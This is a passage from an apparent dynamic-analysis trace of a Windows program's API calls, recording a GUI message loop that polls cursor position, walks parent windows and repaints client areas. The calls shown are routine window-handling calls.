wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.512] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1218, y=609)) returned 1 [0257.512] WindowFromPoint (Point=0x4c2) returned 0x10116 [0257.512] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.512] GetCurrentProcessId () returned 0x8d0 [0257.512] GetParent (hWnd=0x10116) returned 0x10114 [0257.512] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.512] GetCurrentProcessId () returned 0x8d0 [0257.512] GetParent (hWnd=0x10114) returned 0x20082 [0257.512] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.512] GetCurrentProcessId () returned 0x8d0 [0257.512] GetParent (hWnd=0x20082) returned 0x0 [0257.512] GetCapture () returned 0x0 [0257.512] WaitMessage () returned 1 [0257.512] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.512] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.512] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.513] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0257.513] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f818 | out: lpdwProcessId=0x18f818) returned 0x8cc [0257.513] GetCurrentProcessId () returned 0x8d0 [0257.513] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.513] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18fa88) returned 0x0 [0257.513] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.513] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.513] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.513] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.513] GetClientRect (in: hWnd=0x40050, lpRect=0x18f778 | out: lpRect=0x18f778) returned 1 [0257.513] FillRect (hDC=0x1f01019b, lprc=0x18f778, hbr=0xf100188) returned 1 [0257.514] IsIconic (hWnd=0x70042) returned 0 [0257.514] IsIconic (hWnd=0x70042) returned 0 [0257.514] GetClientRect (in: hWnd=0x70042, lpRect=0x18f658 | out: lpRect=0x18f658) returned 1 [0257.514] FillRect (hDC=0x2e010796, lprc=0x18f658, hbr=0xf100188) returned 1 [0257.514] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x318, wParam=0x2e010796, lParam=0x4) returned 0x0 [0257.514] SendMessageA (hWnd=0x40050, Msg=0xbd35, wParam=0x2e010796, lParam=0x40050) returned 0xf100188 [0257.514] GetSysColor (nIndex=8) returned 0x0 [0257.514] SetTextColor (hdc=0x2e010796, color=0x0) returned 0x0 [0257.514] GetSysColor (nIndex=15) returned 0xf0f0f0 [0257.514] SetBkColor (hdc=0x2e010796, color=0xf0f0f0) returned 0xf0f0f0 [0257.514] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.514] GetCurrentProcessId () returned 0x8d0 [0257.514] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.514] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0257.514] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f480 | out: lpdwProcessId=0x18f480) returned 0x8cc [0257.514] GetCurrentProcessId () returned 0x8d0 [0257.514] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0257.515] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xbc4e, wParam=0x40050, lParam=0x18f768) returned 0x0 [0257.515] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2 [0257.515] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x3, lParam=0x18e63c) returned 0x2 [0257.515] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xd, wParam=0x6, lParam=0x18e614) returned 0x2 [0257.515] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.515] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1218, y=609)) returned 1 [0257.516] WindowFromPoint (Point=0x4c2) returned 0x10116 [0257.516] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.516] GetCurrentProcessId () returned 0x8d0 [0257.516] GetParent (hWnd=0x10116) returned 0x10114 [0257.516] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.516] GetCurrentProcessId () returned 0x8d0 [0257.516] GetParent (hWnd=0x10114) returned 0x20082 [0257.516] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.516] GetCurrentProcessId () returned 0x8d0 [0257.516] GetParent (hWnd=0x20082) returned 0x0 [0257.516] GetCapture () returned 0x0 [0257.516] WaitMessage () returned 1 [0257.541] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.541] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.541] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.541] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.541] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.541] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1218, y=609)) returned 1 [0257.541] WindowFromPoint (Point=0x4c2) returned 0x10116 [0257.541] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.541] GetCurrentProcessId () returned 0x8d0 [0257.542] GetParent (hWnd=0x10116) returned 0x10114 [0257.542] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.543] GetCurrentProcessId () returned 0x8d0 [0257.543] GetParent (hWnd=0x10114) returned 0x20082 [0257.543] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.543] GetCurrentProcessId () returned 0x8d0 [0257.543] GetParent (hWnd=0x20082) returned 0x0 [0257.543] GetCapture () returned 0x0 [0257.543] WaitMessage () returned 1 [0257.572] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.572] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.572] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.572] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.572] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.572] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1198, y=589)) returned 1 [0257.572] WindowFromPoint (Point=0x4ae) returned 0x10116 [0257.572] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.572] GetCurrentProcessId () returned 0x8d0 [0257.572] GetParent (hWnd=0x10116) returned 0x10114 [0257.573] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.573] GetCurrentProcessId () returned 0x8d0 [0257.573] GetParent (hWnd=0x10114) returned 0x20082 [0257.573] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.573] GetCurrentProcessId () returned 0x8d0 [0257.573] GetParent (hWnd=0x20082) returned 0x0 [0257.573] GetCapture () returned 0x0 [0257.573] WaitMessage () returned 1 [0257.603] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.603] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.603] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.603] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.603] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.603] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1198, y=589)) returned 1 [0257.604] WindowFromPoint (Point=0x4b0) returned 0x10116 [0257.604] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.604] GetCurrentProcessId () returned 0x8d0 [0257.604] GetParent (hWnd=0x10116) returned 0x10114 [0257.604] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.604] GetCurrentProcessId () returned 0x8d0 [0257.604] GetParent (hWnd=0x10114) returned 0x20082 [0257.604] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.604] GetCurrentProcessId () returned 0x8d0 [0257.604] GetParent (hWnd=0x20082) returned 0x0 [0257.604] GetCapture () returned 0x0 [0257.604] WaitMessage () returned 1 [0257.636] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.636] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.636] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.636] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.637] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.637] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1178, y=569)) returned 1 [0257.637] WindowFromPoint (Point=0x49a) returned 0x10116 [0257.637] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.637] GetCurrentProcessId () returned 0x8d0 [0257.637] GetParent (hWnd=0x10116) returned 0x10114 [0257.637] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.637] GetCurrentProcessId () returned 0x8d0 [0257.637] GetParent (hWnd=0x10114) returned 0x20082 [0257.637] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.637] GetCurrentProcessId () returned 0x8d0 [0257.637] GetParent (hWnd=0x20082) returned 0x0 [0257.637] GetCapture () returned 0x0 [0257.637] WaitMessage () returned 1 [0257.665] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.665] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.665] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.665] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.666] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.666] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1168, y=559)) returned 1 [0257.666] WindowFromPoint (Point=0x490) returned 0x10116 [0257.666] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.666] GetCurrentProcessId () returned 0x8d0 [0257.666] GetParent (hWnd=0x10116) returned 0x10114 [0257.666] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.666] GetCurrentProcessId () returned 0x8d0 [0257.666] GetParent (hWnd=0x10114) returned 0x20082 [0257.666] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.666] GetCurrentProcessId () returned 0x8d0 [0257.666] GetParent (hWnd=0x20082) returned 0x0 [0257.666] GetCapture () returned 0x0 [0257.666] WaitMessage () returned 1 [0257.739] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.739] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.739] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.739] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.739] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.739] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1168, y=559)) returned 1 [0257.739] WindowFromPoint (Point=0x490) returned 0x10116 [0257.740] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.740] GetCurrentProcessId () returned 0x8d0 [0257.740] GetParent (hWnd=0x10116) returned 0x10114 [0257.740] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.740] GetCurrentProcessId () returned 0x8d0 [0257.740] GetParent (hWnd=0x10114) returned 0x20082 [0257.740] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.740] GetCurrentProcessId () returned 0x8d0 [0257.740] GetParent (hWnd=0x20082) returned 0x0 [0257.740] GetCapture () returned 0x0 [0257.740] WaitMessage () returned 1 [0257.759] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.759] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.759] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.759] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.760] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.760] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1158, y=549)) returned 1 [0257.760] WindowFromPoint (Point=0x486) returned 0x10116 [0257.760] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.760] GetCurrentProcessId () returned 0x8d0 [0257.760] GetParent (hWnd=0x10116) returned 0x10114 [0257.760] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.760] GetCurrentProcessId () returned 0x8d0 [0257.760] GetParent (hWnd=0x10114) returned 0x20082 [0257.760] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.760] GetCurrentProcessId () returned 0x8d0 [0257.760] GetParent (hWnd=0x20082) returned 0x0 [0257.760] GetCapture () returned 0x0 [0257.760] WaitMessage () returned 1 [0257.790] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.790] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.790] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.790] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.791] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.791] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1148, y=539)) returned 1 [0257.791] WindowFromPoint (Point=0x47c) returned 0x10116 [0257.791] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.791] GetCurrentProcessId () returned 0x8d0 [0257.791] GetParent (hWnd=0x10116) returned 0x10114 [0257.791] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.791] GetCurrentProcessId () returned 0x8d0 [0257.791] GetParent (hWnd=0x10114) returned 0x20082 [0257.791] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.791] GetCurrentProcessId () returned 0x8d0 [0257.791] GetParent (hWnd=0x20082) returned 0x0 [0257.791] GetCapture () returned 0x0 [0257.791] WaitMessage () returned 1 [0257.821] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.821] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.821] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.822] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.822] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.822] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1118, y=509)) returned 1 [0257.822] WindowFromPoint (Point=0x45e) returned 0x10116 [0257.822] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.822] GetCurrentProcessId () returned 0x8d0 [0257.822] GetParent (hWnd=0x10116) returned 0x10114 [0257.822] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.822] GetCurrentProcessId () returned 0x8d0 [0257.822] GetParent (hWnd=0x10114) returned 0x20082 [0257.822] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.822] GetCurrentProcessId () returned 0x8d0 [0257.822] GetParent (hWnd=0x20082) returned 0x0 [0257.822] GetCapture () returned 0x0 [0257.822] WaitMessage () returned 1 [0257.852] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.853] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.853] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.853] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.853] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.853] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1088, y=479)) returned 1 [0257.853] WindowFromPoint (Point=0x440) returned 0x10116 [0257.853] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.853] GetCurrentProcessId () returned 0x8d0 [0257.853] GetParent (hWnd=0x10116) returned 0x10114 [0257.853] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.853] GetCurrentProcessId () returned 0x8d0 [0257.854] GetParent (hWnd=0x10114) returned 0x20082 [0257.854] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.854] GetCurrentProcessId () returned 0x8d0 [0257.854] GetParent (hWnd=0x20082) returned 0x0 [0257.854] GetCapture () returned 0x0 [0257.854] WaitMessage () returned 1 [0257.884] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.884] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.884] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.884] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.884] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.884] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1058, y=477)) returned 1 [0257.884] WindowFromPoint (Point=0x422) returned 0x10116 [0257.884] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.884] GetCurrentProcessId () returned 0x8d0 [0257.884] GetParent (hWnd=0x10116) returned 0x10114 [0257.885] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.885] GetCurrentProcessId () returned 0x8d0 [0257.885] GetParent (hWnd=0x10114) returned 0x20082 [0257.885] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.885] GetCurrentProcessId () returned 0x8d0 [0257.885] GetParent (hWnd=0x20082) returned 0x0 [0257.885] GetCapture () returned 0x0 [0257.885] WaitMessage () returned 1 [0257.916] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.916] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.916] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.916] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.917] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.917] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1028, y=477)) returned 1 [0257.917] WindowFromPoint (Point=0x404) returned 0x10116 [0257.917] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.917] GetCurrentProcessId () returned 0x8d0 [0257.917] GetParent (hWnd=0x10116) returned 0x10114 [0257.917] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.917] GetCurrentProcessId () returned 0x8d0 [0257.917] GetParent (hWnd=0x10114) returned 0x20082 [0257.917] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.917] GetCurrentProcessId () returned 0x8d0 [0257.917] GetParent (hWnd=0x20082) returned 0x0 [0257.917] GetCapture () returned 0x0 [0257.917] WaitMessage () returned 1 [0257.947] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0257.947] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0257.947] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0257.947] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0257.948] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0257.948] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=1008, y=477)) returned 1 [0257.948] WindowFromPoint (Point=0x3f0) returned 0x10116 [0257.948] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.948] GetCurrentProcessId () returned 0x8d0 [0257.948] GetParent (hWnd=0x10116) returned 0x10114 [0257.948] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.948] GetCurrentProcessId () returned 0x8d0 [0257.948] GetParent (hWnd=0x10114) returned 0x20082 [0257.948] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x780 [0257.948] GetCurrentProcessId () returned 0x8d0 [0257.948] GetParent (hWnd=0x20082) returned 0x0 [0257.948] GetCapture () returned 0x0 [0257.948] WaitMessage () returned 1 [0258.034] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.035] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.035] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.035] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.035] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.035] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.035] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.035] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.035] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.035] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=968, y=477)) returned 1 [0258.035] WindowFromPoint (Point=0x3c8) returned 0x10116 [0258.035] GetWindowThreadProcessId (in: hWnd=0x10116, 